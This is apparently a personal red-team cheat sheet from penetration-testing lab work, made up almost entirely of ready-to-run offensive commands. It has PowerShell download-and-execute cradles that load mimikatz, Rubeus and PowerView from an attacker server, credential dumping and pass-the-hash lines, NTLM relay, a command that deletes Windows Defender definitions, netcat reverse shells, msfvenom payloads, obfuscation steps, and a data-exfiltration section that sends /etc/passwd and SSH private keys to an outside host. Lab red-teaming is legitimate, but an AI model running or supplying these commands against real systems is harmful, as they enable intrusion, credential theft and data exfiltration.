ImaginaryBIT
7/20/2019 - 12:01 PM
#05. RedTeam CheatSheet
#05. RedTeam CheatSheet
# General Payload
```powershell
$ExecutionContext.SessionState.LanguageMode
Get-ChildItem -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Exe
dir C:\Windows\Microsoft.Net\Framework64
Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name "RunAsPPL"
IEX(New-Object Net.WebClient).DownloadString("http://192.168.49.54:8080/apple.txt");
IEX(New-Object Net.WebClient).DownloadString("http://192.168.49.54:8080/loadDLL64.txt");
IEX(New-Object Net.WebClient).DownloadString("http://192.168.49.54:8080/PowerView.ps1");
IEX(New-Object Net.WebClient).DownloadString("http://192.168.49.54:8080/Powermad.ps1");
IEX(New-Object Net.WebClient).DownloadString('http://192.168.49.54:8080/LAPSToolkit.ps1'); Find-AdmPwdExtendedRights
IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.49.54:8080/mimikatz.txt'); invoke-mimikatz
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "exit"'
IEX(New-Object Net.WebClient).DownloadString("http://192.168.49.54:8080/PowerUp.ps1");
Invoke-AllChecks;
Get-Service Vuln_Service_Name | Invoke-ServiceAbuse;
Invoke-WebRequest -Uri http://192.168.49.54:8080/x64/mimidrv.sys -OutFile mimidrv.sys
Invoke-WebRequest -Uri http://192.168.49.54:8080/x64/mimikatz.exe -OutFile mimikatz.exe
Invoke-WebRequest -Uri http://192.168.49.54:8080/x64/MiniDump.exe -OutFile MiniDump.exe
$o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221")); $o.Open("GET", "http://127.0.0.1/payload", $False); $o.Send(); IEX $o.responseText;
Invoke-WebRequest -Uri http://192.168.49.54:8080/MetLink.exe -OutFile MetLink.exe
Invoke-WebRequest -Uri http://192.168.49.54:8080/PsExec64.exe -OutFile PsExec64.exe
IEX(New-Object Net.WebClient).DownloadString("http://192.168.49.54:8080/SharpHound.ps1"); Invoke-BloodHound -CollectionMethod All
Invoke-WebRequest -Uri http://192.168.49.54:8080/SharpHound.exe -OutFile SharpHound.exe
.\SharpHound.exe --CollectionMethod All
Invoke-Restmethod -uri http://192.168.49.54:8080/20210410063748_BloodHound.zip -Method Put -Infile C:\\users\\administrator\\desktop\\20210410063748_BloodHound.zip;
Invoke-WebRequest -Uri http://192.168.49.54:8080/chisel.exe -OutFile chisel.exe
.\chisel.exe client 192.168.49.54:10102 R:1080:socks
chisel server -p 10102 --reverse -v
Invoke-Expression(New-Object Net.WebClient).DownloadString('http://192.168.49.54:8080/PowerUpSQL.ps1');
Invoke-WebRequest -Uri http://192.168.49.54:8080/SQL.exe -OutFile SQL.exe
Invoke-WebRequest -Uri http://192.168.49.54:8080/SQL_dirtree.exe -OutFile SQL_dirtree.exe
Invoke-WebRequest -Uri http://192.168.49.54:8080/SQLlink.exe -OutFile SQLlink.exe
Invoke-WebRequest -Uri http://192.168.49.54:8080/SQLenum.exe -OutFile SQLenum.exe
Invoke-WebRequest -Uri http://192.168.49.54:8080/SQLdoubleLink.exe -OutFile SQLdoubleLink.exe
Invoke-WebRequest -Uri http://192.168.49.54:8080/PrintSpooferNet.exe -OutFile PrintSpooferNet.exe
Invoke-WebRequest -Uri http://192.168.49.54:8080/MetLink.exe -OutFile MetLink.exe
Invoke-WebRequest -Uri http://192.168.49.54:8080/SpoolSample.exe -OutFile SpoolSample.exe
Invoke-WebRequest -Uri http://192.168.49.54:8080/winPEASx64.exe -OutFile winPEAS.exe
.\winPEAS.exe log
(New-Object System.Net.WebClient).DownloadString('http://192.168.49.54:8080/apple.txt') | IEX;
$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.49.54:8080/winPEASx64.exe');$RAS = [System.Reflection.Assembly]::Load($data);[winPEAS.Program]::Main(0);
.\PsExec64.exe -accepteula -i -s powershell.exe
.\PsExec64.exe -accepteula \\dc03.ADMIN.OFFSHORE.COM cmd /c "c:\Users\Administrator\Downloads\MetLink.exe"
.\PsExec64.exe -accepteula -u tricky\will -p "Password123!#$" -i cmd
(New-Object System.Net.WebClient).DownloadString('http://192.168.49.54:8080/amsi.txt') | IEX;
$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.49.54:8080/Rubeus.exe') ;
$assem = [System.Reflection.Assembly]::Load($data);
[Rubeus.Program]::Main("purge".Split());
[Rubeus.Program]::Main("s4u /user:web01$ /rc4:12343649cc8ce713962859a2934b8cbb /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split()) ;
& "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Invoke-Restmethod -uri http://192.168.49.54:8080/id_rsa -Method Put -Infile C:\\users\\nina\\.ssh\\id_rsa;
Invoke-Restmethod -uri http://192.168.49.54:8080/known_hosts -Method Put -Infile C:\\users\\nina\\.ssh\\known_hosts;
python /usr/share/john/ssh2john.py id_rsa > ssh.hash
sudo john --wordlist=/usr/share/wordlists/rockyou.txt ./ssh.hash
proxychains4 ssh -i ./id_rsa nina@ops.totalenergy.com@172.16.66.137
proxychains4 psexec.py OPS.TOTALENERGY.COM/ben@172.16.66.132 -hashes aad3b435b51404eeaad3b435b51404ee:dba005e1a048017596826afe0fd8b830
proxychains4 psexec.py ops.comply.com/pete:Password1@PROXY01.ops.comply.com
kdestroy
export KRB5CCNAME=/home/kali/Documents/OSEP/www/krb5cc
Add hostname in /etc/hosts
klist
proxychains4 psexec.py OPS.TOTALENERGY.COM/ivar@APPSRV02.OPS.TOTALENERGY.COM -k -no-pass
proxychains4 crackmapexec smb 192.168.215.138 -u 'Administrator' -p 'PASSWORD' --local-auth
proxychains4 crackmapexec smb ./hosts.list -d "DMZTE" -u iissvc -H "aad3b435b51404eeaad3b435b51404ee:f7fda76d93587b87e8ecc4f7b3ac2e36" --shares
proxychains4 crackmapexec smb ./hosts.list -d "DMZTE" -u iissvc -p "password" -x whoami
proxychains4 crackmapexec smb ./ops_hosts.list -d "OPS.TOTALENERGY.COM" -u ivar -k --kdchost OPS.TOTALENERGY.COM --shares
proxychains4 crackmapexec winrm ./hosts.list -d "DMZTE" -u iissvc -H "aad3b435b51404eeaad3b435b51404ee:f7fda76d93587b87e8ecc4f7b3ac2e36"
proxychains4 crackmapexec winrm ./hosts.list -d "DMZTE" -u iissvc -p "password"
proxychains4 evil-winrm -u username -p password -i 172.16.66.214
proxychains4 evil-winrm -u username -H hashes -i 172.16.66.214
proxychains4 rdp_check.py <domain>/<name>:<password>@<IP>
proxychains4 rdp_check.py <domain>/<name>@<IP> -hashes LMHASH:NTHASH
proxychains xfreerdp +nego +sec-rdp +sec-tls +sec-nla /d:dmzte.com /u:iissvc /p:gko5456SDFksls3 /v:172.16.66.214
#restricted admin
proxychains xfreerdp +nego +sec-rdp +sec-tls +sec-nla /d:dmzte.com /u:iissvc /pth:7337532fd3bf3abfaef5a9b5bb05a9d8 /v:172.16.66.214
sudo proxychains python3 /home/kali/.local/bin/ntlmrelayx.py --no-http-server -smb2support -t 172.16.66.215 -c 'PowerShell -nop -noe $result = $ExecutionContext.SessionState.LanguageMode; $postParams = @{result=$result;}; Invoke-WebRequest -Uri http://192.168.49.54:8080 -Method POST -Body $postParams;'
sudo proxychains python3 /home/kali/.local/bin/ntlmrelayx.py --no-http-server -smb2support -t 172.16.66.215 -e ./payload.exe
```
# Basis Commands
`msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.49.126 LPORT=443 EXITFUNC=thread PayloadUUIDTracking=true HandlerSSLCert=/home/kali/self_cert/nasa.pem StagerVerifySSLCert=true PayloadUUIDName=ShellIsDelicious -f csharp -o met32.cs`
`sudo msfconsole -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_https; set LHOST 192.168.49.126; set LPORT 443;set EXITFUNC thread; set StagerVerifySSLCert true; set HANDLERSSLCERT /home/kali/self_cert/nasa.pem; exploit -j"`
## Generic Commands
```powershell
[Environment]::Is64BitProcess # Check PS process is x64 or x86
%SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe # x64 powershell on Windows Server
%SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe # x64 powershell on Windows Server
c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe # x32 powershell on Windows workstation
c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe # x32/x64 powershell on Windows workstation
$command | out-string # print output in string format
icacls "file_or_folder" # check acl
ICACLS C:\windows\temp\mimikatz.exe /grant everyone:F # grant acl permission
whoami /groups
whoami /priv
$HOME
$env:USERNAME
$env:USERDOMAIN
$env:COMPUTERNAME
# run exe in backgroud
START /B PsExec64.exe -accepteula \\dc03.ADMIN.OFFSHORE.COM cmd /c "c:\Users\Administrator\Downloads\nc.exe 10.10.14.5 5555 -e cmd.exe"
```
## Unix Command Mapping
```
(Get-Item .).FullName # pwd
tasklist /v | findstr mimik # ps aux| grep
dir -Recurse | Select-String -pattern "joe@offshor" # grep -ir
Invoke-WebRequest -Uri http://10.10.14.2/winPEAS.exe # curl
(New-Object Net.WebClient).DownloadFile('http://10.10.14.5:8888/nc.exe','c:\Users\Administrator\Downloads\nc.exe') # wget
Invoke-WebRequest -Uri http://10.10.14.2/winPEAS.exe -OutFile winPEAS.exe # wget2
Invoke-Expression(New-Object Net.WebClient).DownloadString('http://10.10.14.2/Invoke-PowerShellTcp.ps1'); # execute PS script
taskkill /f /im:mimikatz.exe # kill -9 pid
taskkill /f /pid 1234 # kill -9 pid
runas /user:Bob “C:\Windows\notepad.exe” # su, required to enter password in a prompt
.\PsExec64.exe -accepteula -u tricky\will -p "Password123!#$" cmd # su with password
.\PsExec64.exe -accepteula -u tricky\will -p "Password123!#$" -i cmd # su with password
Get-ChildItem Env: # env
netsh trace start capture=yes CaptureInterface="Ethernet" tracefile="C:\Users\user\Desktop\www\trace.etl" maxsize=10 # tcpdump
```
## Debug Powershell Errors
`$result = [string]$error; $postParams = @{Errors=$result;};Invoke-WebRequest -Uri http://192.168.49.54:8080 -Method POST -Body $postParams;`
## Find DC via DNS
```
nslookup -type=srv _kerberos._tcp.EXMAPLE.COM
nslookup -type=srv _kerberos._udp.EXMAPLE.COM
nslookup -type=srv _kpasswd._tcp.EXAMPLE.COM
nslookup -type=srv _kpasswd._udp.EXAMPLE.COM
nslookup -type=srv _ldap._tcp.EXAMPLE.COM
nslookup -type=srv _ldap._tcp.dc._msdcs.EXAMPLE.COM
nslookup -type=srv _ldap._tcp.pdc._msdcs.EXAMPLE.COM
nslookup -type=srv _ldap._tcp.gc._msdcs.ROOT.COM
```
## Capture flags
```powershell
get-childitem -path "c:\users" -recurse -include "flag.txt" -ErrorAction SilentlyContinue | where {$_.name -eq "flag.txt"} | % {$_.FullName};
get-childitem -path "c:\users" -recurse -include "local.txt" -ErrorAction SilentlyContinue | where {$_.name -eq "local.txt"} | % {$_.FullName};
get-childitem -path "c:\users" -recurse -include "proof.txt" -ErrorAction SilentlyContinue | where {$_.name -eq "proof.txt"} | % {$_.FullName};
get-childitem -path "c:\users" -recurse -include "secret.txt" -ErrorAction SilentlyContinue | where {$_.name -eq "secret.txt"} | % {$_.FullName};
```
## Bash obfuscation
https://github.com/Bashfuscator/Bashfuscator
## Powershell Obfuscation
https://github.com/danielbohannon/Invoke-Obfuscation
```
set scriptblock $data = (New-Object System.Net.WebClient).DownloadData('http://192.168.10.128:8000/ClassLibrary1.dll');$assem = [System.Reflection.Assembly]::Load($data);$class = $assem.GetType("ClassLibrary1.Class1");$method = $class.GetMethod("runner");$method.Invoke(0, $null)
Choose one of the below options:
[*] TOKEN Obfuscate PowerShell command Tokens
[*] AST Obfuscate PowerShell Ast nodes (PS3.0+)
[*] STRING Obfuscate entire command as a String
[*] ENCODING Obfuscate entire command via Encoding
[*] COMPRESS Convert entire command to one-liner and Compress
[*] LAUNCHER Obfuscate command args w/Launcher techniques (run once at end)
Choose one of the below Encoding options to APPLY to current payload:
[*] ENCODING\1 Encode entire command as ASCII
[*] ENCODING\2 Encode entire command as Hex
[*] ENCODING\3 Encode entire command as Octal
[*] ENCODING\4 Encode entire command as Binary
[*] ENCODING\5 Encrypt entire command as SecureString (AES)
[*] ENCODING\6 Encode entire command as BXOR
[*] ENCODING\7 Encode entire command as Special Characters
[*] ENCODING\8 Encode entire command as Whitespace
Use TEST to check the script running result
```
## Powershell command encoding
```
$command = '$ErrorActionPreference= "silentlycontinue";Get-ChildItem -Path c:\*\*\ -Force | where { $_.PSIsContainer -eq "TRUE"} | Where-Object { $acl = Get-Acl $_.FullName; $acl.Access | Where-Object { $_.identityreference -match "authenticated users|everyone|$env:username" -and $_.filesystemrights -match "full|modify|write"}}'
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($command)) | clip
powershell -exec bypass -nop -EncodedCommand {paste_your_base64_encoded_command}
# file encoding
[System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("c:\users\user\desktop\test.txt"))
```
## Powershell command decoding
```
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('JwBtAGkAawBlAGYAcgBvAGIAYgBpAG4AcwAuAGMAbwBtACcA'))
```
## Powershell ping
```
1..254 | ForEach-Object {Test-Connection -ComputerName "172.16.4.$_" -Count 1 -ErrorAction SilentlyContinue}
1..254 | ForEach-Object {Get-WmiObject Win32_PingStatus -Filter "Address='172.16.4.$_' and Timeout=200 and ResolveAddressNames='true' and StatusCode=0" | select ProtocolAddress*}
```
## Extract password from a secure string
```
$pw = Get-Content admin_pass.xml | ConvertTo-SecureString
$cred = New-Object System.Management.Automation.PsCredential("administrator", $pw)
$cred.getnetworkcredential() | fl *
```
## Create windows credentials
```
$username='imaginarybit'
$password='P@ssw0rd12345!'
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
```
## Create Schedule Task
```
SCHTASKS /CREATE /SC DAILY /TN "FOLDERPATH\TASKNAME" /TR "C:\SOURCE\FOLDER\APP-OR-SCRIPT" /ST HH:MM /RU USER-ACCOUNT
SCHTASKS /CREATE /SC HOURLY /TN "Drive Mornitoring" /TR "powershell.exe C:\test.ps1" /ST 8:00 /RU admin
SCHTASKS /QUERY # Check all
```
## Start a process using another user
```
$username='someUser'
$password='somePassword'
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
Start-Process .\nc.exe -ArgumentList '10.10.xx.xx 4445 -e cmd.exe' -Credential $credential -NoNewWindow
or
Start-Process 'cmd.exe' -Credential $cred -ArgumentList "/c 'C:\xampp\htdocs\plugins\nc.exe 172.16.1.5 8888 -e cmd.exe'" -NoNewWindow
or
Invoke-Command -ScriptBlock {nc.exe 172.16.1.5 8888} -Credential $cred -computername localhost
```
## Command execution remotely
```
PsExec64.exe -accepteula \\dc03.ADMIN.OFFSHORE.COM powershell.exe -exec Bypass -noexit -C "(New-Object Net.WebClient).DownloadFile('http://10.10.14.5:8888/nc.exe','c:\Users\Administrator\Downloads\nc.exe')"
PsExec64.exe -accepteula \\dc03.ADMIN.OFFSHORE.COM cmd /c "c:\Users\Administrator\Downloads\nc.exe 10.10.14.5 5555 -e cmd.exe"
winrs.exe -r:192.168.1.105 -u:ignite.local\administrator -p:Ignite@987 CMD
Invoke-Command -ComputerName "192.168.1.105" -Credential workgroup\administrator -Authentication Negotiate -Port 5985 -ScriptBlock {net user administrator}
Invoke-WmiMethod –ComputerName MEMBERSRV1 -Class win32_process -Name create -ArgumentList "notepad"
wmic /authority:"kerberos:CORP\WIN8WORKSTATION" /node:172.16.48.83 process call create “stuff”
wmic /authority:"kerberos:client.offshore.com\DC04" /node:172.16.4.5 process call create "powershell -f c:\windows\temp\rev.ps1"
Wmic /node:"ComputerName" process call create "cmd.exe /c (net use o: /delete /y & net use o: \\Server\share /user:Domain\Administrator Password & o:\Dir\Subdir\test.cmd) >> c:\users\MyUser\testout2.txt"
```
## OpenSCManager
requires RPC Server
```
sc.exe \\myserver query state= all
sc.exe \\myserver config NewService binpath= ntsd -d c:\windows\system32\NewServ.exe
sc.exe \\myserver create NewService binpath= c:\windows\system32\NewServ.exe
sc.exe \\myserver stop <service>
sc.exe \\myserver start <service>
```
## Access an interactive session on a remote computer
Does not work on local users, it will do kerberos auth.
```
Enter-PSSession -ComputerName DC02 -Credential dev\joe
Enter-PSSession -ComputerName Server01 -Port 90 -Credential Domain01\User01
Enter-PSSession -ComputerName DC02.dev.ADMIN.OFFSHORE.COM -Credential $credential
```
## HTTP Full functional Server
used in Data Exfiltration, Download file, and Upload file
`python3 HTTP_Server.py 8080`
https://github.com/ImaginaryBIT/Python_HTTP_Server/blob/main/HTTP_Server.py
## Data Exfiltration
```
cmd.exe /c FOR /F %a in ('wmic useraccount get name') do certutil -f -urlcache http://10.139.138.137/%a
cmd.exe /c FOR /F %a in ('dir c:\users\ /b') do certutil -f -urlcache http://10.139.138.137/%a
powershell.exe -exec bypass -C '(New-Object Net.Sockets.TcpClient).connect('10.10.14.2','4444')''
powershell.exe -exec bypass -C '$command = dir \"c:/users/\";$result = [string]$command;$postParams = @{result=$result;};Invoke-WebRequest -Uri http://127.0.0.2 -Method POST -Body $postParams;'
powershell.exe -exec Bypass -C "$command = whoami /priv;$result=[string]$command;Invoke-WebRequest -Uri http://10.10.14.4/$result"
powershell.exe -exec Bypass -C "(New-Object System.Net.WebClient).DownloadFile(\"http://10.10.14.4/simple.exe\", \"C:\\users\\username\\downloads\\simple.exe\")"
powershell.exe -exec Bypass -C "$Folder=\"C:\\Windows\\Temp\";$permission = (Get-Acl $Folder).Access;$result=[string]$permission;Invoke-WebRequest -Uri http://10.10.14.2/folder/$permission"
cancel -u "$(cat /etc/passwd)" -h 192.168.0.147:1234
wget --post-file=/etc/passwd 192.168.0.147:1234
whois -h 192.168.0.147 -p 1234 `cat /etc/passwd
curl -X POST -d @data.txt 192.168.0.147:1234
finger "$(cat /etc/passwd)@192.168.0.147:1234"
bash -c 'cat /etc/passwd > /dev/tcp/192.168.0.147/1234'
ksh -c 'cat /etc/passwd > /dev/tcp/192.168.0.147/1234'
nc -lnvp 1234 # Attacker Machine
openssl s_client -quiet -connect 192.168.0.147:1234 < "/etc/passwd"
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes # Attacker Machine
openssl s_server -quiet -key key.pem -cert cert.pem -port 1234 > passwd # Attacker Machine
busybox httpd -f -p 8080 -h .
php -S 0.0.0.0:8080
ruby -run -e httpd . -p 1234
irb
require 'webrick'; WEBrick::HTTPServer.new(:Port => 8888, :DocumentRoot => Dir.pwd).start;
wget http://192.168.0.196:8080/data.txt # Attacker Machine
nc 192.168.0.147 5555 < jeeni.txt
nc -lnvp 5555 > jeeni.txt # Attacker Machine
or
nc -lnvp 5555 < jeeni.txt
nc 192.168.0.147 5555 > jeeni.txt # Attacker Machine
```
## Download file
https://lolbas-project.github.io/#/download
```
certutil.exe -urlcache -split -f [URL] [output-file]
bitsadmin.exe /transfer [job-name] /download /priority normal [URL-to-payload] [output-path]
```
## Download file using Powershell
```powershell
powershell.exe -exec Bypass -C "commands"
(New-Object Net.WebClient).DownloadFile('http://10.10.14.5:8888/SharpHound.exe','c:\Users\Administrator\Downloads\SharpHound.exe')
Invoke-WebRequest -Uri http://192.168.49.54:8080/winPEASx64.exe -OutFile winPEAS.exe
Invoke-Expression(New-Object Net.WebClient).DownloadString('http://10.10.14.5:8888/PowerView.ps1');
Invoke-RestMethod -Uri http://192.168.49.54:8080/PsExec64.exe -OutFile PsExec64.exe
```
## Upload file
https://github.com/ImaginaryBIT/Python_HTTP_Server/blob/main/HTTP_Server.py
`python3 HTTP_Server.py or python3 HTTP_Server.py 8080`
`Invoke-Restmethod -uri http://192.168.49.54:8080/BloodHound.zip -Method Put -Infile C:\\users\\administrator\\desktop\\20210330081025_BloodHound.zip;`
or with UI http://ip:port/
## Outbound port detect
```
//powershell TcpClient
22,53,80,443,8080,3389 | % {$test= new-object system.Net.Sockets.TcpClient; $wait =$test.beginConnect("192.168.49.54",$_,$null,$null); ($wait.asyncwaithandle.waitone(250,$false)); if($test.Connected){echo "$_ open";$test.Close();}else{echo "$_ closed"}} | select-string " "
```
Combine with `egress_listener.py` to check allowed outbound port.
https://github.com/trustedsec/egressbuster/blob/master/egress_listener.py
## Monitor Shared Drive Activities
```
$folder = '\\pdc\Shared\Accounting'
$filter = '*.*'
$fsw = New-Object IO.FileSystemWatcher $folder, $filter -Property @{IncludeSubdirectories = $true;NotifyFilter = [IO.NotifyFilters]'FileName, LastWrite'}
Register-ObjectEvent $fsw Created -SourceIdentifier FileCreated -Action {
$name = $Event.SourceEventArgs.Name
$changeType = $Event.SourceEventArgs.ChangeType
$timeStamp = $Event.TimeGenerated
Write-Host "The file '$name' was $changeType at $timeStamp" -fore green
Out-File -FilePath C:\temp\outlog.txt -Append -InputObject "The file '$name' was $changeType at $timeStamp"}
Register-ObjectEvent $fsw Deleted -SourceIdentifier FileDeleted -Action {
$name = $Event.SourceEventArgs.Name
$changeType = $Event.SourceEventArgs.ChangeType
$timeStamp = $Event.TimeGenerated
Write-Host "The file '$name' was $changeType at $timeStamp" -fore red
Out-File -FilePath C:\temp\outlog.txt -Append -InputObject "The file '$name' was $changeType at $timeStamp"}
Register-ObjectEvent $fsw Changed -SourceIdentifier FileChanged -Action {
$name = $Event.SourceEventArgs.Name
$changeType = $Event.SourceEventArgs.ChangeType
$timeStamp = $Event.TimeGenerated
Write-Host "The file '$name' was $changeType at $timeStamp" -fore white
Out-File -FilePath C:\temp\outlog.txt -Append -InputObject "The file '$name' was $changeType at $timeStamp"}
Get-EventSubscriber | Unregister-Event # stop the event
```
## Change payload from x86 to x64
```
meterpreter > background
msf5 > use windows/local/payload_inject
msf5 > set payload windows/x64/meterpreter/reverse_tcp
msf5 > set LHOST 10.10.14.2
msf5 > set SESSION 11
msf5 > exploit
```
## Upgrade shell to meterpreter
```
msf exploit(multi/handler) > use post/multi/manage/shell_to_meterpreter
msf exploit(multi/handler) > set LPORT 4433
msf exploit(multi/handler) > set SESSION 1
msf exploit(multi/handler) > exploit
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.10.14.14:4433
[*] Sending stage (861480 bytes) to 10.10.10.94
[*] Meterpreter session 2 opened (10.10.14.14:4433 -> 10.10.10.94:58956) at 2018-07-27 06:37:15 -0400
[*] Command stager progress: 100.00% (773/773 bytes)
msf exploit(multi/handler) > sessions -i 2
[*] Starting interaction with 2...
```
## Enable Remote Desktop using PowerShell
```
Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\\' -Name "fDenyTSConnections" -Value 0
Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\\' -Name "UserAuthentication" -Value 1
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
```
## Enable WinRM using PowerShell
```
Enable-PSRemoting –force
winrm quickconfig -transport:https
Set-Item wsman:\localhost\client\trustedhosts *
Restart-Service WinRM
test-wsman -computername "WIN-S0V7KMTVLD2"
```
## Configuring local group membership
```
Add-LocalGroupMember -Group "Administrators" -Member "ugc_user" -ErrorAction SilentlyContinue
Add-LocalGroupMember -Group "Remote Desktop Users" -Member "ugc_user"
```
## Configuring local admin
```
net user administrator /active:yes
net user administrator StrongestPasswordEverPewPew
```
## Edit user account privileges
https://ss64.com/nt/ntrights.html
https://www.tenforums.com/attachments/tutorial-test/142289d1499096195-change-user-rights-assignment-security-policy-settings-windows-10-a-ntrights.zip
```
ntrights.exe -u localadmin +r SeInteractiveLogonRight # Allow Log on locally
ntrights.exe -u localadmin +r SeRemoteInteractiveLogonRight # Allow logon through RDP/Terminal Services
```
## Configuring firewall rules
```
netsh advfirewall Remove-NetFirewallRule
netsh advfirewall set allprofiles firewallpolicy blockinbound,blockoutbound
netsh advfirewall firewall add rule action=allow name=Inbound dir=in protocol=tcp localport=80,443,445,3389
netsh advfirewall firewall add rule action=allow name=Outbound dir=out protocol=tcp remoteport=80,443,445,3389
netsh advfirewall firewall add rule name="ICMP V4" protocol=icmpv4:8,any dir=in action=allow
```
## Disable IPv6
`Disable-NetAdapterBinding -Name "*" -ComponentID ms_tcpip6`
## Troubleshoot powershell
double quote love scripts
single quote love strings
**When execute powershell.exe command in cmd.exe cannot put the URL in double quote, because it will be escaped. Put the URL in single quote.**
`powershell.exe -exec bypass -nop -C "IEX (new-Object System.Net.WebClient).DownloadString('http://192.168.49.54:8080/fodUAC.txt')"`
or
`powershell.exe -exec bypass -nop IEX (new-Object System.Net.WebClient).DownloadString('http://192.168.49.54:8080/fodUAC.txt')`
**When execute powershell.exe command in cmd.exe, cmd cannot parse the pipe. Put the pipe in double quote.**
`powershell.exe -exec bypass -nop "(new-Object System.Net.WebClient).DownloadString('http://192.168.49.54:8080/fodUAC.txt') | IEX"`
Those commands cannot be executed in cmd.exe
`powershell.exe -exec bypass -nop -C 'IEX (new-Object System.Net.WebClient).DownloadString("http://192.168.49.54:8080/fodUAC.txt")'`
and
`powershell.exe -exec bypass -nop IEX (new-Object System.Net.WebClient).DownloadString("http://192.168.49.54:8080/fodUAC.txt")`
and
`powershell.exe -exec bypass -nop (new-Object System.Net.WebClient).DownloadString('http://192.168.49.54:8080/fodUAC.txt') | IEX`
**If encountered the issue below, this is due to you execute powershell in a powershell**
```
IEX : At line:1 char:15
+ + $Kernel32 = @
Unrecognized token in source text.
```
like
`PS C:\ > powershell (New-Object System.Net.WebClient).DownloadString('http://192.168.49.54:8080/certificate.txt') | IEX`
This will make powershell console read the downloaded script line by line. need to include the pipe in double quote.
`PS C:\ > powershell "(New-Object System.Net.WebClient).DownloadString('http://192.168.49.54:8080/certificate.txt') | IEX"`
# Host Enumeration
- Enumerating services on endpoints and extracting the startname account
- Searching for connection strings within web.config, scripts, and other locations where service accounts may be hard-coded
- Exploring the local policy for users granted Log on as a Service
- Extracting event logs for non-interactive logon types
- Finding application pool and other web application service accounts
## Enumeration tools
Softerra LDAP Browser
https://www.ldapadministrator.com/info_softerra-ldap-browser.htm
```powershell
//query LDAp service
ldapsearch -h 10.11.12.13 -x -z 0 -zz -b "cn=abc, ou=test, ou=base"
//query LDAp service with NULL base DN
ldapsearch -h 10.11.12.13 -x -z 0 -zz -b "" > dump.txt
$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.49.126:8000/winPEASx64.exe');$RAS = [System.Reflection.Assembly]::Load($data);[winPEAS.Program]::Main(0);
seatbelt.exe -group=all
(new-object system.net.webclient).downloadstring('https://192.168.49.126:8000/HostRecon.ps1') | IEX
Invoke-HostRecon
IEX(New-Object Net.WebClient).DownloadString("http://192.168.49.54:8080/PowerUp.ps1");
Invoke-AllChecks;
Get-Service Vuln_Service_Name | Invoke-ServiceAbuse;
Token/Privilege Enumeration/Abuse:
Get-ProcessTokenGroup - returns all SIDs that the current token context is a part of, whether they are disabled or not
Get-ProcessTokenPrivilege - returns all privileges for the current (or specified) process ID
Enable-Privilege - enables a specific privilege for the current process
Service Enumeration/Abuse:
Test-ServiceDaclPermission - tests one or more passed services or service names against a given permission set
Get-UnquotedService - returns services with unquoted paths that also have a space in the name
Get-ModifiableServiceFile - returns services where the current user can write to the service binary path or its config
Get-ModifiableService - returns services the current user can modify
Get-ServiceDetail - returns detailed information about a specified service
Set-ServiceBinaryPath - sets the binary path for a service to a specified value
Invoke-ServiceAbuse - modifies a vulnerable service to create a local admin or execute a custom command
Write-ServiceBinary - writes out a patched C# service binary that adds a local admin or executes a custom command
Install-ServiceBinary - replaces a service binary with one that adds a local admin or executes a custom command
Restore-ServiceBinary - restores a replaced service binary with the original executable
DLL Hijacking:
Find-ProcessDLLHijack - finds potential DLL hijacking opportunities for currently running processes
Find-PathDLLHijack - finds service %PATH% DLL hijacking opportunities
Write-HijackDll - writes out a hijackable DLL
Registry Checks:
Get-RegistryAlwaysInstallElevated - checks if the AlwaysInstallElevated registry key is set
Get-RegistryAutoLogon - checks for Autologon credentials in the registry
Get-ModifiableRegistryAutoRun - checks for any modifiable binaries/scripts (or their configs) in HKLM autoruns
Miscellaneous Checks:
Get-ModifiableScheduledTaskFile - find schtasks with modifiable target files
Get-UnattendedInstallFile - finds remaining unattended installation files
Get-Webconfig - checks for any encrypted web.config strings
Get-ApplicationHost - checks for encrypted application pool and virtual directory passwords
Get-SiteListPassword - retrieves the plaintext passwords for any found McAfees SiteList.xml files
Get-CachedGPPPassword - checks for passwords in cached Group Policy Preferences files
Other Helpers/Meta-Functions:
Get-ModifiablePath - tokenizes an input string and returns the files in it the current user can modify
Write-UserAddMSI - write out a MSI installer that prompts for a user to be added
Invoke-WScriptUACBypass - performs the bypass UAC attack by abusing the lack of an embedded manifest in wscript.exe
Invoke-PrivescAudit - runs all current escalation checks and returns a report (formerly Invoke-AllChecks)
```
## Local enum commands
```
ipconfig /all ------ 查询本机IP段，所在域等
net user ------ 本机用户列表
net localgroup administrators ------ 本机管理员[通常含有域用户]
net user /domain ------ 查询域用户
net group /domain ------ 查询域里面的工作组
net group "domain admins" /domain ------ 查询域管理员用户组
net localgroup administrators /domain ------ 登录本机的域管理员
net localgroup administrators workgroup\user001 /add ------域用户添加到本机
net group "domain controllers" /domain ------ 查看域控制器(如果有多台)
net time /domain ------ 判断主域，主域服务器都做时间服务器
net config workstation ------ 当前登录域
net session ------ 查看当前会话
net use \\ip\ipc$ pawword /user:username ------ 建立IPC会话[空连接-***]
net share ------ 查看SMB指向的路径[即共享]
